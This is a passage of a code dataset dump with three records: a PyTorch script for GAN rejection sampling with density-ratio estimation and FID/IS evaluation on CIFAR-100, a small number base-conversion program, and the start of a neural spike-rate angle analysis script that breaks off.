(args.dre_precnn_lr_decay_epochs).split(\"_\")\ndre_precnn_lr_decay_epochs = [int(epoch) for epoch in dre_precnn_lr_decay_epochs]\n\n#-------------------------------\n# seeds\nrandom.seed(args.seed)\ntorch.manual_seed(args.seed)\ntorch.backends.cudnn.deterministic = True\ncudnn.benchmark = False\nnp.random.seed(args.seed)\n\n#-------------------------------\n# output folders\nprecnn_models_directory = os.path.join(args.root_path, 'output/precnn_models')\nos.makedirs(precnn_models_directory, exist_ok=True)\n\noutput_directory = os.path.join(args.root_path, 'output/Setting_{}'.format(args.gan_net))\nos.makedirs(output_directory, exist_ok=True)\n\nsave_models_folder = os.path.join(output_directory, 'saved_models')\nos.makedirs(save_models_folder, exist_ok=True)\n\nsave_traincurves_folder = os.path.join(output_directory, 'training_curves')\nos.makedirs(save_traincurves_folder, exist_ok=True)\n\nsave_evalresults_folder = os.path.join(output_directory, 'eval_results')\nos.makedirs(save_evalresults_folder, exist_ok=True)\n\ndump_fake_images_folder = os.path.join(output_directory, 'dump_fake')\nos.makedirs(dump_fake_images_folder, exist_ok=True)\n\n\n\n\n#######################################################################################\n''' Load Data '''\n#######################################################################################\n## generate subset\ncifar_trainset = torchvision.datasets.CIFAR100(root = os.path.join(args.data_path, 'data'), train=True, download=True)\nimages_train = cifar_trainset.data\nimages_train = np.transpose(images_train, (0, 3, 1, 2))\nlabels_train = np.array(cifar_trainset.targets)\n\n### compute the mean and std for normalization\nassert images_train.shape[1]==3\ntrain_means = []\ntrain_stds = []\nfor i in range(3):\n images_i = images_train[:,i,:,:]\n images_i = images_i/255.0\n train_means.append(np.mean(images_i))\n train_stds.append(np.std(images_i))\n## for i\n# train_means = [0.5,0.5,0.5]\n# train_stds = [0.5,0.5,0.5]\n\ncifar_testset = torchvision.datasets.CIFAR100(root = os.path.join(args.data_path, 'data'), train=False, download=True)\nimages_test = cifar_testset.data\nimages_test = np.transpose(images_test, (0, 3, 1, 2))\nlabels_test = np.array(cifar_testset.targets)\n\nprint(\"\\n Training set shape: {}x{}x{}x{}; Testing set shape: {}x{}x{}x{}.\".format(images_train.shape[0], images_train.shape[1], images_train.shape[2], images_train.shape[3], images_test.shape[0], images_test.shape[1], images_test.shape[2], images_test.shape[3]))\n\n''' transformations '''\nif args.dre_precnn_transform:\n transform_precnn_train = transforms.Compose([\n transforms.RandomCrop((args.img_size, args.img_size), padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize(train_means, train_stds),\n ])\nelse:\n transform_precnn_train = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(train_means, train_stds),\n ])\n\nif args.dre_transform:\n transform_dre = transforms.Compose([\n transforms.Resize(int(args.img_size*1.1)),\n transforms.RandomCrop(args.img_size),\n transforms.RandomHorizontalFlip(),\n transforms.Resize(args.img_size),\n transforms.ToTensor(),\n transforms.Normalize([0.5,0.5,0.5], [0.5,0.5,0.5]), ##do not use other normalization constants!!!\n ])\nelse:\n transform_dre = transforms.Compose([\n # transforms.RandomCrop((args.img_size, args.img_size), padding=4), ## note that some GAN training does not involve cropping!!!\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.5,0.5,0.5], [0.5,0.5,0.5]), ##do not use other normalization constants!!!\n ])\n\n# test set for cnn\ntransform_precnn_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize(train_means, train_stds),\n ])\ntestset_precnn = IMGs_dataset(images_test, labels_test, transform=transform_precnn_test)\ntestloader_precnn = torch.utils.data.DataLoader(testset_precnn, batch_size=100, shuffle=False, num_workers=args.num_workers)\n\n\n#######################################################################################\n''' Load pre-trained GAN to Memory (not GPU) '''\n#######################################################################################\n\nckpt_g = torch.load(args.gan_ckpt_path)\nif args.gan_net==\"BigGAN\":\n netG = BigGAN_Generator(dim_z=args.gan_dim_g, resolution=args.img_size, G_attn='0', n_classes=args.num_classes, G_shared=False)\n netG.load_state_dict(ckpt_g)\n netG = nn.DataParallel(netG)\nelif args.gan_net==\"SNGAN\":\n netG = SNGAN_Generator(dim_z=args.gan_dim_g, num_classes=args.num_classes)\n netG.load_state_dict(ckpt_g['netG_state_dict'])\n netG = nn.DataParallel(netG)\nelif args.gan_net==\"ACGAN\":\n netG = ACGAN_Generator(nz=args.gan_dim_g, ny=args.num_classes)\n netG.load_state_dict(ckpt_g['netG_state_dict'])\n netG = nn.DataParallel(netG)\nelse:\n raise Exception(\"Not supported GAN!!\")\n\n\ndef fn_sampleGAN_given_label(nfake, given_label, batch_size, pretrained_netG=netG, to_numpy=True):\n raw_fake_images = []\n raw_fake_labels = []\n pretrained_netG = pretrained_netG.cuda()\n pretrained_netG.eval()\n with torch.no_grad():\n tmp = 0\n while tmp < nfake:\n z = torch.randn(batch_size, args.gan_dim_g, dtype=torch.float).cuda()\n labels = (given_label*torch.ones(batch_size)).type(torch.long).cuda()\n batch_fake_images = pretrained_netG(z, labels)\n raw_fake_images.append(batch_fake_images.cpu())\n raw_fake_labels.append(labels.cpu().view(-1))\n tmp += batch_size\n\n raw_fake_images = torch.cat(raw_fake_images, dim=0)\n raw_fake_labels = torch.cat(raw_fake_labels)\n\n if to_numpy:\n raw_fake_images = raw_fake_images.numpy()\n raw_fake_labels = raw_fake_labels.numpy()\n\n pretrained_netG = pretrained_netG.cpu()\n\n return raw_fake_images[0:nfake], raw_fake_labels[0:nfake]\n\n\n\n#######################################################################################\n''' DRE Training '''\n#######################################################################################\nif args.subsampling:\n ##############################################\n ''' Pre-trained CNN for feature extraction '''\n print(\"\\n -----------------------------------------------------------------------------------------\")\n print(\"\\n Pre-trained CNN for feature extraction\")\n # data loader\n trainset_dre_precnn = IMGs_dataset(images_train, labels_train, transform=transform_precnn_train)\n trainloader_dre_precnn = torch.utils.data.DataLoader(trainset_dre_precnn, batch_size=args.dre_precnn_batch_size_train, shuffle=True, num_workers=args.num_workers)\n # Filename\n filename_precnn_ckpt = precnn_models_directory + '/ckpt_PreCNNForDRE_{}_epoch_{}_transform_{}_seed_{}.pth'.format(args.dre_precnn_net, args.dre_precnn_epochs, args.dre_precnn_transform, args.seed)\n print('\\n' + filename_precnn_ckpt)\n\n path_to_ckpt_in_train = precnn_models_directory + '/ckpts_in_train_PreCNNForDRE_{}_seed_{}'.format(args.dre_precnn_net, args.seed)\n os.makedirs(path_to_ckpt_in_train, exist_ok=True)\n\n # initialize cnn\n dre_precnn_net = cnn_extract_initialization(args.dre_precnn_net, num_classes=args.num_classes, use_cuda=False)\n num_parameters = count_parameters(dre_precnn_net)\n # training\n if not os.path.isfile(filename_precnn_ckpt):\n print(\"\\n Start training CNN for feature extraction in the DRE >>>\")\n dre_precnn_net = train_cnn(dre_precnn_net, 'PreCNNForDRE_{}'.format(args.dre_precnn_net), trainloader_dre_precnn, testloader_precnn, epochs=args.dre_precnn_epochs, resume_epoch=args.dre_precnn_resume_epoch, lr_base=args.dre_precnn_lr_base, lr_decay_factor=args.dre_precnn_lr_decay_factor, lr_decay_epochs=dre_precnn_lr_decay_epochs, weight_decay=args.dre_precnn_weight_decay, seed = args.seed, extract_feature=True, path_to_ckpt = path_to_ckpt_in_train)\n\n # store model\n torch.save({\n 'net_state_dict': dre_precnn_net.state_dict(),\n }, filename_precnn_ckpt)\n print(\"\\n End training CNN.\")\n else:\n print(\"\\n Loading pre-trained CNN for feature extraction in DRE.\")\n checkpoint = torch.load(filename_precnn_ckpt)\n dre_precnn_net.load_state_dict(checkpoint['net_state_dict'])\n #end if\n\n # testing\n _ = test_cnn(dre_precnn_net, testloader_precnn, extract_feature=True, verbose=True)\n\n\n ##############################################\n ''' DRE Training '''\n print(\"\\n -----------------------------------------------------------------------------------------\")\n print(\"\\n DRE training\")\n \n dre_net_list = []\n for class_i in range(args.num_classes):\n print(\"\\n Fit DRE-F-SP for Class {}...\".format(class_i))\n\n ### data loader\n indx_class_i = np.where(labels_train==class_i)[0]\n images_train_i = images_train[indx_class_i]\n labels_train_i = labels_train[indx_class_i]\n trainset_dre_i = IMGs_dataset(images_train_i, labels_train_i, transform=transform_dre)\n trainloader_dre_i = torch.utils.data.DataLoader(trainset_dre_i, batch_size=args.dre_batch_size, shuffle=True, num_workers=args.num_workers)\n del images_train_i, labels_train_i; gc.collect()\n\n ### dre filenames\n drefile_fullpath = save_models_folder + '/ckpt_DRE-F-SP_{}_epochs_{}_lambda_{}_seed_{}_class_{}.pth'.format(args.dre_net, args.dre_epochs, args.dre_lambda, args.seed, class_i)\n print('\\n' + drefile_fullpath)\n\n path_to_ckpt_in_train = save_models_folder + '/ckpt_DRE-F-SP_{}_lambda_{}_seed_{}_class_{}'.format(args.dre_net, args.dre_lambda, args.seed, class_i)\n os.makedirs(path_to_ckpt_in_train, exist_ok=True)\n\n dre_loss_file_fullpath = save_traincurves_folder + '/train_loss_DRE-F-SP_{}_epochs_{}_lambda_{}_seed_{}_class_{}.png'.format(args.dre_net, args.dre_epochs, args.dre_lambda, args.seed, class_i)\n\n ### dre training\n dre_net_i = DR_MLP(args.dre_net, p_dropout=0.5, init_in_dim = args.num_channels*args.img_size*args.img_size)\n dre_net_i = nn.DataParallel(dre_net_i)\n #if DR model exists, then load the pretrained model; otherwise, start training the model.\n if not os.path.isfile(drefile_fullpath):\n print(\"\\n Begin Training unconditional DR in Feature Space: >>>\")\n dre_net_i, avg_train_loss = train_dre(trainloader=trainloader_dre_i, dre_net=dre_net_i, dre_precnn_net=dre_precnn_net, netG=netG, path_to_ckpt=path_to_ckpt_in_train)\n # save model\n torch.save({\n 'net_state_dict': dre_net_i.state_dict(),\n }, drefile_fullpath)\n PlotLoss(avg_train_loss, dre_loss_file_fullpath)\n else:\n # if already trained, load pre-trained DR model\n checkpoint_dre_net_i = torch.load(drefile_fullpath)\n dre_net_i.load_state_dict(checkpoint_dre_net_i['net_state_dict'])\n ##end if not\n dre_net_i = dre_net_i.cpu()\n dre_net_list.append(dre_net_i)\n ### end for class_i\n\n # Compute density ratio: function for computing a bunch of images in a numpy array\n def comp_cond_density_ratio(imgs, labels, batch_size=args.samp_batch_size, dre_precnn_net=dre_precnn_net, dre_net_list=dre_net_list):\n #imgs: a torch tensor\n n_imgs = len(imgs)\n if batch_size>n_imgs:\n batch_size = n_imgs\n\n assert torch.sum(labels).item()==len(labels)*labels[0].item() ## make sure all element are the same\n class_i = labels[0].item()\n\n ##make sure the last iteration has enough samples\n imgs = torch.cat((imgs, imgs[0:batch_size]), dim=0)\n\n density_ratios = []\n dre_net_i = dre_net_list[class_i] #take the density ratio model for class i\n dre_net_i = dre_net_i.cuda()\n dre_net_i.eval()\n dre_precnn_net = dre_precnn_net.cuda()\n dre_precnn_net.eval()\n # print(\"\\n Begin computing density ratio for images >>\")\n with torch.no_grad():\n n_imgs_got = 0\n while n_imgs_got < n_imgs:\n batch_images = imgs[n_imgs_got:(n_imgs_got+batch_size)]\n batch_images = batch_images.type(torch.float).cuda()\n _, batch_features = dre_precnn_net(batch_images)\n batch_ratios = dre_net_i(batch_features)\n density_ratios.append(batch_ratios.cpu().detach())\n n_imgs_got += batch_size\n ### while n_imgs_got\n density_ratios = torch.cat(density_ratios)\n density_ratios = density_ratios[0:n_imgs].numpy()\n\n ## back to cpu\n dre_precnn_net = dre_precnn_net.cpu()\n dre_net_i = dre_net_i.cpu()\n return density_ratios\n\n\n # Enhanced sampler based on the trained DR model\n # Rejection Sampling:\"Discriminator Rejection Sampling\"; based on https://github.com/shinseung428/DRS_Tensorflow/blob/master/config.py\n def fn_enhancedSampler_given_label(nfake, given_label, batch_size=args.samp_batch_size, verbose=True, adjust_ratio=False):\n ## Burn-in Stage\n n_burnin = args.samp_burnin_size\n burnin_imgs, burnin_labels = fn_sampleGAN_given_label(n_burnin, given_label, batch_size, to_numpy=False)\n burnin_densityratios = comp_cond_density_ratio(burnin_imgs, burnin_labels)\n print((burnin_densityratios.min(),np.median(burnin_densityratios),burnin_densityratios.max()))\n M_bar = np.max(burnin_densityratios)\n ## for adjusting density ratios\n if adjust_ratio:\n ratio_offset = np.quantile(burnin_densityratios, 0.5)/M_bar\n del burnin_imgs, burnin_densityratios; gc.collect()\n\n ## Rejection sampling\n enhanced_imgs = []\n if verbose:\n pb = SimpleProgressBar()\n # pbar = tqdm(total=nfake)\n num_imgs = 0\n while num_imgs < nfake:\n batch_imgs, batch_labels = fn_sampleGAN_given_label(batch_size, given_label, batch_size, to_numpy=False)\n batch_ratios = comp_cond_density_ratio(batch_imgs, batch_labels)\n M_bar = np.max([M_bar, np.max(batch_ratios)])\n #threshold\n batch_p = batch_ratios/M_bar\n\n #adjust too small density ratios\n if adjust_ratio:\n indx_small = np.where(batch_p<0.5)[0]\n pull_back = np.log(batch_p[indx_small]/(1-batch_p[indx_small])+1e-8)-ratio_offset\n batch_p[indx_small] = np.exp(pull_back)/(np.exp(pull_back)+1)\n\n batch_psi = np.random.uniform(size=batch_size).reshape(-1,1)\n indx_accept = np.where(batch_psi<=batch_p)[0]\n if len(indx_accept)>0:\n batch_imgs = batch_imgs.numpy() ## to numpy array\n enhanced_imgs.append(batch_imgs[indx_accept])\n num_imgs+=len(indx_accept)\n del batch_imgs, batch_ratios; gc.collect()\n if verbose:\n pb.update(np.min([float(num_imgs)*100/nfake,100]))\n # pbar.update(len(indx_accept))\n # pbar.close()\n enhanced_imgs = np.concatenate(enhanced_imgs, axis=0)\n enhanced_imgs = enhanced_imgs[0:nfake]\n return enhanced_imgs, given_label*np.ones(nfake)\n\n\n\n\n\n###############################################################################\n''' Compute FID and IS '''\n###############################################################################\nif args.eval_real or args.eval_fake or args.samp_dump_fake_data:\n if args.inception_from_scratch:\n #load pre-trained InceptionV3 (pretrained on CIFAR-100)\n PreNetFID = Inception3(num_classes=args.num_classes, aux_logits=True, transform_input=False)\n checkpoint_PreNet = torch.load(args.eval_ckpt_path)\n PreNetFID = nn.DataParallel(PreNetFID).cuda()\n PreNetFID.load_state_dict(checkpoint_PreNet['net_state_dict'])\n else:\n PreNetFID = inception_v3(pretrained=True, transform_input=True)\n PreNetFID = nn.DataParallel(PreNetFID).cuda()\n \n ## normalize images\n assert images_train.max()>1\n images_train = (images_train/255.0-0.5)/0.5\n images_test = (images_test/255.0-0.5)/0.5\n\n ##############################################\n ''' Compute FID between real images as a reference '''\n if args.eval_real:\n #####################\n ## Compute Intra-FID: train vs test\n print(\"\\n Start compute Intra-FID between real images as reference...\")\n start_time = timeit.default_timer()\n intra_fid_scores_ref = np.zeros(args.num_classes)\n for i in range(args.num_classes):\n indx_train_i = np.where(labels_train==i)[0]\n images_train_i = images_train[indx_train_i]\n indx_test_i = np.where(labels_test==i)[0]\n images_test_i = images_test[indx_test_i]\n ##compute FID within each class\n intra_fid_scores_ref[i] = compute_FID(PreNetFID, images_train_i, images_test_i, batch_size = args.eval_FID_batch_size, resize = (299, 299))\n print(\"\\r Class:{}; Train:{}; Test:{}; FID:{}; Time elapses:{}s.\".format(i+1, len(images_train_i), len(images_test_i), intra_fid_scores_ref[i], timeit.default_timer()-start_time))\n ##end for i\n # average over all classes\n print(\"\\n Ref Intra-FID: {}({}); min/max: {}/{}.\".format(np.mean(intra_fid_scores_ref), np.std(intra_fid_scores_ref), np.min(intra_fid_scores_ref), np.max(intra_fid_scores_ref)))\n\n #####################\n ## Compute FID: train vs test\n print(\"\\n Start compute FID between real images as reference...\")\n indx_shuffle_train = np.arange(len(images_train)); np.random.shuffle(indx_shuffle_train)\n indx_shuffle_test = np.arange(len(images_test)); np.random.shuffle(indx_shuffle_test)\n fid_score_ref = compute_FID(PreNetFID, images_train[indx_shuffle_train], images_test[indx_shuffle_test], batch_size = args.eval_FID_batch_size, resize = (299, 299))\n print(\"\\n FID between {} training and {} test images: {}.\".format(len(images_train), len(images_test), fid_score_ref))\n\n #####################\n ## Compute IS: train\n print(\"\\n Start compute IS of real images as reference...\")\n indx_shuffle_train = np.arange(len(images_train)); np.random.shuffle(indx_shuffle_train)\n is_score_ref, is_score_std_ref = compute_IS(PreNetFID, images_train[indx_shuffle_train], batch_size = args.eval_FID_batch_size, splits=10, resize=(299,299))\n print(\"\\n IS of {} training images: {}({}).\".format(len(images_train), is_score_ref, is_score_std_ref))\n\n\n ##############################################\n ''' Compute FID between real and fake images '''\n if args.eval_fake or args.samp_dump_fake_data:\n\n IS_scores_all = []\n FID_scores_all = []\n Intra_FID_scores_all = []\n\n start = timeit.default_timer()\n for nround in range(args.samp_round):\n print(\"\\n {}+{}, Eval round: {}/{}\".format(args.gan_net, subsampling_method, nround+1, args.samp_round))\n\n # ### generate fake images; store in one h5 file\n # dump_fake_images_filename = os.path.join(dump_fake_images_folder, 'fake_images_{}_subsampling_{}_NfakePerClass_{}_seed_{}_Round_{}_of_{}.h5'.format(args.gan_net, subsampling_method, args.samp_nfake_per_class, args.seed, nround+1, args.samp_round))\n\n # if not os.path.isfile(dump_fake_images_filename):\n # print('\\n Start generating fake data...')\n # fake_images = []\n # fake_labels = []\n # for i in range(args.num_classes):\n # print(\"\\n Generate {} fake images for class {}/{}.\".format(args.samp_nfake_per_class, i+1, args.num_classes))\n # if args.subsampling:\n # fake_images_i, fake_labels_i = fn_enhancedSampler_given_label(nfake=args.samp_nfake_per_class, given_label=i, batch_size=args.samp_batch_size, verbose=True, adjust_ratio=False)\n # else:\n # fake_images_i, fake_labels_i = fn_sampleGAN_given_label(nfake=args.samp_nfake_per_class, given_label=i, batch_size=args.samp_batch_size, pretrained_netG=netG, to_numpy=True)\n # assert fake_images_i.max()<=1 and fake_images_i.min()>=-1\n # ## denormalize images to save memory\n # fake_images_i = (fake_images_i*0.5+0.5)*255.0\n # fake_images_i = fake_images_i.astype(np.uint8)\n # assert fake_images_i.max()>1 and fake_images_i.max()<=255.0\n # fake_images.append(fake_images_i)\n # fake_labels.append(fake_labels_i.reshape(-1))\n # fake_images = np.concatenate(fake_images, axis=0)\n # fake_labels = np.concatenate(fake_labels, axis=0)\n # del fake_images_i, fake_labels_i; gc.collect()\n # print('\\n End generating fake data!')\n\n # if args.samp_dump_fake_data:\n # with h5py.File(dump_fake_images_filename, \"w\") as f:\n # f.create_dataset('fake_images', data = fake_images, dtype='uint8', compression=\"gzip\", compression_opts=6)\n # f.create_dataset('fake_labels', data = fake_labels, dtype='float')\n # else:\n # print('\\n Start loading generated fake data...')\n # with h5py.File(dump_fake_images_filename, \"r\") as f:\n # fake_images = f['fake_images'][:]\n # fake_labels = f['fake_labels'][:]\n # assert len(fake_images) == len(fake_labels)\n\n\n ### generate fake images; store in separate h5 files\n dump_fake_images_folder_nround = os.path.join(dump_fake_images_folder, 'fake_images_{}_subsampling_{}_NfakePerClass_{}_seed_{}_Round_{}_of_{}'.format(args.gan_net, subsampling_method, args.samp_nfake_per_class, args.seed, nround+1, args.samp_round))\n os.makedirs(dump_fake_images_folder_nround, exist_ok=True)\n\n fake_images = []\n fake_labels = []\n for i in range(args.num_classes):\n dump_fake_images_filename = os.path.join(dump_fake_images_folder_nround, 'class_{}_of_{}.h5'.format(i+1,args.num_classes))\n\n if not os.path.isfile(dump_fake_images_filename):\n print(\"\\n Start generating {} fake images for class {}/{}.\".format(args.samp_nfake_per_class, i+1, args.num_classes))\n if args.subsampling:\n fake_images_i, fake_labels_i = fn_enhancedSampler_given_label(nfake=args.samp_nfake_per_class, given_label=i, batch_size=args.samp_batch_size, verbose=True)\n else:\n fake_images_i, fake_labels_i = fn_sampleGAN_given_label(nfake=args.samp_nfake_per_class, given_label=i, batch_size=args.samp_batch_size, pretrained_netG=netG, to_numpy=True)\n assert fake_images_i.max()<=1 and fake_images_i.min()>=-1\n ## denormalize images to save memory\n fake_images_i = (fake_images_i*0.5+0.5)*255.0\n fake_images_i = fake_images_i.astype(np.uint8)\n\n if args.samp_dump_fake_data:\n with h5py.File(dump_fake_images_filename, \"w\") as f:\n f.create_dataset('fake_images_i', data = fake_images_i, dtype='uint8', compression=\"gzip\", compression_opts=6)\n f.create_dataset('fake_labels_i', data = fake_labels_i, dtype='float')\n\n else:\n print('\\n Start loading generated fake data for class {}/{}...'.format(i+1,args.num_classes))\n with h5py.File(dump_fake_images_filename, \"r\") as f:\n fake_images_i = f['fake_images_i'][:]\n fake_labels_i = f['fake_labels_i'][:]\n \n assert fake_images_i.max()>1 and fake_images_i.max()<=255.0\n fake_images.append(fake_images_i)\n fake_labels.append(fake_labels_i.reshape(-1))\n ##end for i\n fake_images = np.concatenate(fake_images, axis=0)\n fake_labels = np.concatenate(fake_labels)\n\n\n assert fake_images.max()>1\n fake_images = (fake_images/255.0-0.5)/0.5\n assert -1.0<=images_train.max()<=1.0 and -1.0<=images_train.min()<=1.0\n\n if args.eval_fake:\n #####################\n ## Compute Intra-FID: real vs fake\n print(\"\\n Start compute Intra-FID between real and fake images...\")\n start_time = timeit.default_timer()\n intra_fid_scores = np.zeros(args.num_classes)\n for i in range(args.num_classes):\n indx_train_i = np.where(labels_train==i)[0]\n images_train_i = images_train[indx_train_i]\n indx_fake_i = np.where(fake_labels==i)[0]\n fake_images_i = fake_images[indx_fake_i]\n ##compute FID within each class\n intra_fid_scores[i] = compute_FID(PreNetFID, images_train_i, fake_images_i, batch_size = args.eval_FID_batch_size, resize = (299, 299))\n print(\"\\r Eval round: {}/{}; Class:{}; Real:{}; Fake:{}; FID:{}; Time elapses:{}s.\".format(nround+1, args.samp_round, i+1, len(images_train_i), len(fake_images_i), intra_fid_scores[i], timeit.default_timer()-start_time))\n ##end for i\n # average over all classes\n print(\"\\n Eval round: {}/{}; Intra-FID: {}({}); min/max: {}/{}.\".format(nround+1, args.samp_round, np.mean(intra_fid_scores), np.std(intra_fid_scores), np.min(intra_fid_scores), np.max(intra_fid_scores)))\n\n # dump FID versus class to npy\n dump_fids_filename = save_evalresults_folder + \"/{}_subsampling_{}_round_{}_of_{}_fids_scratchInceptionNet_{}\".format(args.gan_net, subsampling_method, nround+1, args.samp_round, args.inception_from_scratch)\n np.savez(dump_fids_filename, fids=intra_fid_scores)\n\n #####################\n ## Compute FID: real vs fake\n print(\"\\n Start compute FID between real and fake images...\")\n indx_shuffle_real = np.arange(len(images_train)); np.random.shuffle(indx_shuffle_real)\n indx_shuffle_fake = np.arange(len(fake_images)); np.random.shuffle(indx_shuffle_fake)\n fid_score = compute_FID(PreNetFID, images_train[indx_shuffle_real], fake_images[indx_shuffle_fake], batch_size = args.eval_FID_batch_size, resize = (299, 299))\n print(\"\\n Eval round: {}/{}; FID between {} real and {} fake images: {}.\".format(nround+1, args.samp_round, len(images_train), len(fake_images), fid_score))\n \n #####################\n ## Compute IS\n print(\"\\n Start compute IS of fake images...\")\n indx_shuffle_fake = np.arange(len(fake_images)); np.random.shuffle(indx_shuffle_fake)\n is_score, is_score_std = compute_IS(PreNetFID, fake_images[indx_shuffle_fake], batch_size = args.eval_FID_batch_size, splits=10, resize=(299,299))\n print(\"\\n Eval round: {}/{}; IS of {} fake images: {}({}).\".format(nround+1, args.samp_round, len(fake_images), is_score, is_score_std))\n\n #####################\n # Dump evaluation results\n eval_results_fullpath = os.path.join(save_evalresults_folder, '{}_subsampling_{}_scratchInceptionNet_{}.txt'.format(args.gan_net, subsampling_method, args.inception_from_scratch))\n if not os.path.isfile(eval_results_fullpath):\n eval_results_logging_file = open(eval_results_fullpath, \"w\")\n eval_results_logging_file.close()\n with open(eval_results_fullpath, 'a') as eval_results_logging_file:\n eval_results_logging_file.write(\"\\n===================================================================================================\")\n eval_results_logging_file.write(\"\\n Separate results for {} of {} rounds; Subsampling {} \\n\".format(nround, args.samp_round, subsampling_method))\n print(args, file=eval_results_logging_file)\n eval_results_logging_file.write(\"\\n Intra-FID: {}({}); min/max: {}/{}.\".format(np.mean(intra_fid_scores), np.std(intra_fid_scores), np.min(intra_fid_scores), np.max(intra_fid_scores)))\n eval_results_logging_file.write(\"\\n FID: {}.\".format(fid_score))\n eval_results_logging_file.write(\"\\n IS: {}({}).\".format(is_score, is_score_std))\n\n ## store\n FID_scores_all.append(fid_score)\n Intra_FID_scores_all.append(np.mean(intra_fid_scores))\n IS_scores_all.append(is_score)\n ##end nround\n stop = timeit.default_timer()\n print(\"Sampling and evaluation finished! Time elapses: {}s\".format(stop - start))\n \n if args.eval_fake:\n\n FID_scores_all = np.array(FID_scores_all)\n Intra_FID_scores_all = np.array(Intra_FID_scores_all)\n IS_scores_all = np.array(IS_scores_all)\n\n #####################\n # Average Eval results\n print(\"\\n Avg Intra-FID over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(Intra_FID_scores_all), np.std(Intra_FID_scores_all), np.min(Intra_FID_scores_all), np.max(Intra_FID_scores_all)))\n\n print(\"\\n Avg FID over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(FID_scores_all), np.std(FID_scores_all), np.min(FID_scores_all), np.max(FID_scores_all)))\n\n print(\"\\n Avg IS over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(IS_scores_all), np.std(IS_scores_all), np.min(IS_scores_all), np.max(IS_scores_all)))\n \n\n #####################\n # Dump evaluation results\n eval_results_fullpath = os.path.join(save_evalresults_folder, '{}_subsampling_{}_scratchInceptionNet_{}.txt'.format(args.gan_net, subsampling_method, args.inception_from_scratch))\n if not os.path.isfile(eval_results_fullpath):\n eval_results_logging_file = open(eval_results_fullpath, \"w\")\n eval_results_logging_file.close()\n with open(eval_results_fullpath, 'a') as eval_results_logging_file:\n eval_results_logging_file.write(\"\\n===================================================================================================\")\n eval_results_logging_file.write(\"\\n Average results over {} rounds; Subsampling {} \\n\".format(args.samp_round, subsampling_method))\n print(args, file=eval_results_logging_file)\n eval_results_logging_file.write(\"\\n Avg. Intra-FID over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(Intra_FID_scores_all), np.std(Intra_FID_scores_all), np.min(Intra_FID_scores_all), np.max(Intra_FID_scores_all)))\n eval_results_logging_file.write(\"\\n Avg. FID over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(FID_scores_all), np.std(FID_scores_all), np.min(FID_scores_all), np.max(FID_scores_all)))\n eval_results_logging_file.write(\"\\n Avg. IS over {} rounds: {}({}); min/max: {}/{}.\".format(args.samp_round, np.mean(IS_scores_all), np.std(IS_scores_all), np.min(IS_scores_all), np.max(IS_scores_all)))\n\n\n\n#######################################################################################\n''' Visualize fake images of the trained GAN '''\n#######################################################################################\nif args.visualize_fake_images:\n\n # First, visualize conditional generation # vertical grid\n ## 10 rows; 10 columns (10 samples for each class)\n n_row = args.num_classes\n n_col = 10\n\n fake_images_view = []\n fake_labels_view = []\n for i in range(args.num_classes):\n fake_labels_i = i*np.ones(n_col)\n if args.subsampling:\n fake_images_i, _ = fn_enhancedSampler_given_label(nfake=n_col, given_label=i, batch_size=100, verbose=False)\n else:\n fake_images_i, _ = fn_sampleGAN_given_label(nfake=n_col, given_label=i, batch_size=100, pretrained_netG=netG, to_numpy=True)\n fake_images_view.append(fake_images_i)\n fake_labels_view.append(fake_labels_i)\n ##end for i\n fake_images_view = np.concatenate(fake_images_view, axis=0)\n fake_labels_view = np.concatenate(fake_labels_view, axis=0)\n\n ### output fake images from a trained GAN\n filename_fake_images = save_evalresults_folder + '/{}_subsampling_{}_fake_image_grid_{}x{}.png'.format(args.gan_net, subsampling_method, n_row, n_col)\n \n images_show = np.zeros((n_row*n_col, args.num_channels, args.img_size, args.img_size))\n for i_row in range(n_row):\n indx_i = np.where(fake_labels_view==i_row)[0]\n for j_col in range(n_col):\n curr_image = fake_images_view[indx_i[j_col]]\n images_show[i_row*n_col+j_col,:,:,:] = curr_image\n images_show = torch.from_numpy(images_show)\n save_image(images_show.data, filename_fake_images, nrow=n_col, normalize=True)\n\n### end if args.visualize_fake_images\n\n\n\n\nprint(\"\\n ===================================================================================================\")","sub_path":"CIFAR-100/DRE-F-SP+RS/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":35530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"73756707","text":"def digit_to_char ( digit ):\n\n if digit < 10:\n return chr ( ord ('0') + digit )\n\n else :\n return chr ( ord ('a') + digit - 10 ).upper()\n\ndef str_base ( number, base ):\n\n (d,m) = divmod ( number, base )\n\n if d:\n return str_base ( d, base ) + digit_to_char (m)\n\n else:\n return digit_to_char(m)\n\nif __name__ == '__main__':\n\n num = int ( input ( \" Enter the number :\" ) )\n base = int ( input ( \" Enter the base :\" ) )\n\n print ( str_base ( num, base ) )\n\n \n","sub_path":"Dromey in Python/Chapter 2/baseconversion.py","file_name":"baseconversion.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"304162204","text":"'''\n(1) angle of (a) various shift0 trials, and (b) vector from shift0 center to shift6 center\n --- shift center is the average spiking rate vector\n'''\n\nexecfile('../slow/slow_analy_head.py')\n\ntbgn = 1100\ntend = 1350\ntlen = 50\n\nc=0\ns0=0\ns6=6\n\na=[load_sf_from_file(c,s0,i,tbgn,tend) for i in range(trial_number)]\nx=load_sf_avged_over_trial(c,s0,tbgn,tend)\ny=load_sf_avged_over_trial(c,s6,tbgn,tend)\n\nang_ls = []\nfor i in a:\n ang_ls.append(included_angle(i,x-y)[1])\n\nang_ls2 = []\nfor i in rlen(a):\n if i+1==len(a):\n ang_ls2.append(included_angle(a[i],a[0])[1])\n else:\n ang_ls2.append(included_angle(a[i],a[i+1])[1])\n\n\nplot(ang_ls, '.-')\nplot(ang_ls2, 